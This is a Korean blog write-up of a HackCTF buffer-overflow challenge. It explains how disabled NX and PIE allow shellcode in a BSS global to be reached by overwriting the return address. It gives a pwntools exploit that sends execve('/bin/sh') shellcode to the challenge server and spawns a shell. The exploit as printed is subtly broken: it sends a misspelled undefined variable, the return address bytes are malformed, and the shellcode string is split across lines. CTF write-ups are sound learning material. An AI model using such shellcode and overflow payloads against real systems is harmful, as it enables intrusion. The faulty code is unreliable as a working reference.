HackCTF 내 버퍼가 흘러넘친다!!! Write Up

War Game

2020. 3. 8. 21:44

반응형

문제를 다운받고 실행시켜 보자

문제는 단순히 이름과 input값을 입력받기만 한다.

checksec로 한번 확인하고 IDA로 까보자

NX가 꺼져있다.

NX가 꺼져있으면 BSS영역에 쉘코드를 집어넣고 실행시킬 수 있다.

해당 문제는 쉘코드를 쓰게끔 의도한거같다.

문제를 보면 name이 전역변수, 즉 BSS영역에 있음을 알 수 있다.

혹시모르니 name변수를 더블클릭해서 확인해보면

역시나 BSS영역이였다.

그리고 위에 checksec한걸 확인해보면 PIE도 꺼져있기 때문에

주소가 고정되어있다.

 

즉 간단하게 name에 쉘코드를 넣고 s변수는 버퍼오버플로우 시켜서 리턴어드레스를 name으로 돌려버리면

쉘코드가 실행되게 된다.

쉘코드를 만들어주고 pwntools로 익스를 짜보자

from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3003)

# Name 영역
p.recvuntil("Name : ")
p.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31
\xc9\x89\xca\x6a\x0b\x58\xcd\x80")

# input 영역
p.recvuntil("input : ")
payload = ("a"*24 + "\x60\xA0\x04\08")
p.send(paylaod)

p.interactive()

 

반응형

'War Game' 카테고리의 다른 글

HackCTF x64 Simple_size_BOF Write Up  (0) 2020.03.17
HackCTF x64 Buffer Overflow Write Up  (0) 2020.03.08
HackCTF Basic_BOF #2 Write Up  (0) 2020.03.07
HackCTF Basic_BOF #1 Write Up  (0) 2020.03.07
Do it! 점프 투 파이썬 후기  (0) 2019.11.24